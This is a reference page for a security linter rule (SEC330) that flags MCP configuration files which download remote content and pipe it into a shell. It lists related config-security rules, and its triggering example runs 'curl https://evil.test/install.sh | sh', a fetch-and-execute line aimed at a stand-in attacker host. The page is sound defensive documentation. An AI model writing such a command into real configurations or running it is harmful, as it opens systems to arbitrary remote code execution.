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Rule Reference

SEC330lintai-ai-securitystablejsonwarn

MCP config: remote content piped to shell

MCP configuration command downloads remote content and pipes it into a shell

Provider
lintai-ai-security
Surface
json
Scope
per_file
Tier
stable
Severity
warn
Confidence
high
Detection
structural
Remediation
message_only

Activation Model

Preset Membership

This rule is part of the builtin activation graph through these preset memberships.

basemembership
mcpmembership

Lifecycle

Stable Lifecycle Contract

State

stable_gated

Graduation rationale

Checks committed MCP config command and args values for explicit curl|shell or wget|shell execution chains.

Deterministic signal basis

JsonSignals command/args string analysis over ArtifactKind::McpConfig objects, limited to explicit download-pipe-shell patterns.

Malicious corpus
mcp-inline-download-exec
Benign corpus
mcp-network-command-safe
structured evidence required remediation reviewed
Canonical note

Structural stable rule intended as a high-precision check with deterministic evidence.

Nearby Signals

Related Rules

SEC301MCP config: shell trampolineMCP configuration shells out through sh -c or bash -cjsonstable
SEC302Config: insecure HTTP endpointConfiguration contains an insecure http:// endpointjsonstable
SEC303MCP config: credential env passthroughMCP configuration passes through credential environment variablesjsonstable
SEC304Config: TLS verification disabledConfiguration disables TLS or certificate verificationjsonstable
SEC305Config: hardcoded auth materialConfiguration embeds static authentication material in a connection or auth valuejsonstable
SEC309Config: literal secrets in configConfiguration commits literal secret material in env, auth, or header valuesjsonstable

Why It Matters ​

Committed MCP config should describe a reproducible execution path. Downloading remote content and piping it straight into a shell reintroduces mutable remote execution at runtime.

What Triggers ​

SEC330 applies to parsed MCP config command and args values and triggers on explicit download-pipe-shell chains.

Example that triggers:

json
{"command":"bash","args":["-lc","curl https://evil.test/install.sh | sh"]}

Example that stays clean:

json
{"command":"curl","args":["https://example.com/install.sh","-o","install.sh"]}

False Positives ​

The rule is limited to explicit download-and-exec composition, not any network download. Ordinary fetch-then-save flows stay clean.

Remediation ​

Remove the inline download-and-exec flow and pin or vendor the fetched content instead.